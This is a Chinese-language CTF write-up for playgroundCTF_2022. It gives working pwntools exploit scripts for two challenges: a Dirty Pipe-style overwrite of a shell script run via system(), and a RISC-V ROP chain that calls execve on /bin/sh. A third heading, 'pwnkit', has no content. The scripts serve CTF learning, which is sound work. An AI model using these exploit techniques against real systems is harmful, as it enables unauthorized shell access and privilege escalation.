playgroundCTF_2022

1⃣️:super mario

程序有五个功能,1.read from pipe; 2.write to pipe; 3.make log file; 4. read file

第五个功能是system(“sh /home/guest/info.sh”),所以我的思路就是将info.sh的内容改为/bin/sh,这样即可获得shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context.terminal = ['tmux','splitw','-h']


#p = ssh("fd","127.0.0.1",22);
#p = remote("127.0.0.1",31338);
p = process("./mario")
'''
#state-0 fulfill pipe ring
for i in range(0,16):
print (p.sendlineafter(b"cmd>",b"2"))
print (p.sendlineafter(b"size?>",b"4096"))
print (p.sendlineafter(b"input>",b"A"*4095))

for i in range(0,16):
print (p.sendlineafter(b"cmd>",b"1"))
'''
sleep(1)
#gdb.attach(p)

#stage-1 upload exploit
p.sendlineafter(b"cmd>",b"2")

CMD = b"/bin/sh"
print(CMD)

p.sendlineafter(b"size?>",str(len(CMD)+1))
p.sendlineafter(b"input>",CMD)


#stage-2 overwrite info.sh via dirty pipe
p.sendlineafter(b"cmd>",b"3")
p.sendlineafter(b"path>",b"/home/guest/info.sh")

'''
p.sendlineafter(b"cmd>",b"2")
CMD=b"sh '/tmp/k2rh4.sh'"
p.sendlineafter(b"size?>",str(len(CMD)+1))
p.sendlineafter(b"input>",CMD)
'''
p.sendlineafter(b"cmd>",b"5")


p.interactive()


p.close()

2⃣️:riscv

一个万能的gadget,可以控制大多数寄存器,是riscv64的程序。

ra->return address

a0-a7->functions arguments

a7->used for syscall number

sp->esp

ld: Load values from memory (can be indexed with an offset) to a register. Example: ld a0, 20(sp) loads 8 bytes into a0 from the address sp+20.

mv: Equivalent to mov instruction for x86_64.

ret: Return to the address stored in ra.

ecall: Equivalent to syscall.

jr: Equivalent to jmp

Functions

1
2
3
4
5
6
7
8
9
10
11
12
13
void start() {
printf("IOLI Crackme Level 0x00\n");
printf("Password:");

char buf[32];
memset(buf, 0, sizeof(buf));
read(0, buf, 256);

if (!strcmp(buf, "250382"))
printf("Password OK :)\n");
else
printf("Invalid Password!\n");
}

Exp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

#p = process("./target")

def conn():
if args.LOCAL:
r = process(["./qemu-riscv64", "./target"])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("riscy.sstf.site", 18223 )

return r

''' set_all_gad

0x41782 <_dl_runtime_resolve+54>: mv t1,a0
0x41784 <_dl_runtime_resolve+56>: ld ra,72(sp)
0x41786 <_dl_runtime_resolve+58>: ld a0,8(sp)
0x41788 <_dl_runtime_resolve+60>: ld a1,16(sp)
0x4178a <_dl_runtime_resolve+62>: ld a2,24(sp)
0x4178c <_dl_runtime_resolve+64>: ld a3,32(sp)
0x4178e <_dl_runtime_resolve+66>: ld a4,40(sp)
0x41790 <_dl_runtime_resolve+68>: ld a5,48(sp)
0x41792 <_dl_runtime_resolve+70>: ld a6,56(sp)
0x41794 <_dl_runtime_resolve+72>: ld a7,64(sp)
0x41796 <_dl_runtime_resolve+74>: fld fa0,80(sp)
0x41798 <_dl_runtime_resolve+76>: fld fa1,88(sp)
0x4179a <_dl_runtime_resolve+78>: fld fa2,96(sp)
0x4179c <_dl_runtime_resolve+80>: fld fa3,104(sp)
0x4179e <_dl_runtime_resolve+82>: fld fa4,112(sp)
0x417a0 <_dl_runtime_resolve+84>: fld fa5,120(sp)
0x417a2 <_dl_runtime_resolve+86>: fld fa6,128(sp)
0x417a4 <_dl_runtime_resolve+88>: fld fa7,136(sp)
0x417a6 <_dl_runtime_resolve+90>: addi sp,sp,144
0x417a8 <_dl_runtime_resolve+92>: jr t1

'''

'''
gad_set_a0
0x4602e <__dlopen+42>: ld ra,40(sp)
0x46030 <__dlopen+44>: ld a0,16(sp)
0x46032 <__dlopen+46>: addi sp,sp,48
0x46034 <__dlopen+48>: ret
'''
def main():
p = conn()
gad_set_all = 0x41782
gad_set_a0 = 0x4602e
read = 0x00000000000260da
ecall = 0x1414a #syscall
writeable = 0x0006c000 #binsh
start = 0x0000000000010434

payload = b"e"*0x40 + p64(gad_set_a0) #0x48
payload += b"a"*0x10 + p64(read) + b"a"*0x10 + p64(gad_set_all)
# a0 ra
payload += b"a"*8 + p64(0) + p64(writeable) + p64(0x10) #read(0,writeable,0x10)
payload += p64(0)*5 + p64(start) + p64(0)*8

p.sendline(payload)
sleep(0.5)
p.sendline("/bin/sh\x00")

payload = b"e"*0x40 + p64(gad_set_a0) #0x48
payload += b"a"*0x10 + p64(ecall) + b"a"*0x10 + p64(gad_set_all)
# a0 ra
payload += p64(0) + p64(writeable) + p64(0)*2
payload += p64(0)*4 + p64(221) + p64(0)*9

p.sendline(payload)

#p.recvuntil(b"Password:")
#p.send("250382"+"\0"+"eeee")
p.interactive()

if __name__ == "__main__":
main()

调试

1
2
3
$ qemu-riscv64 -g 4444 ./a

gef➤ gef-remote --qemu-user --qemu-binary ./a localhost 4444

3⃣️:pwnkit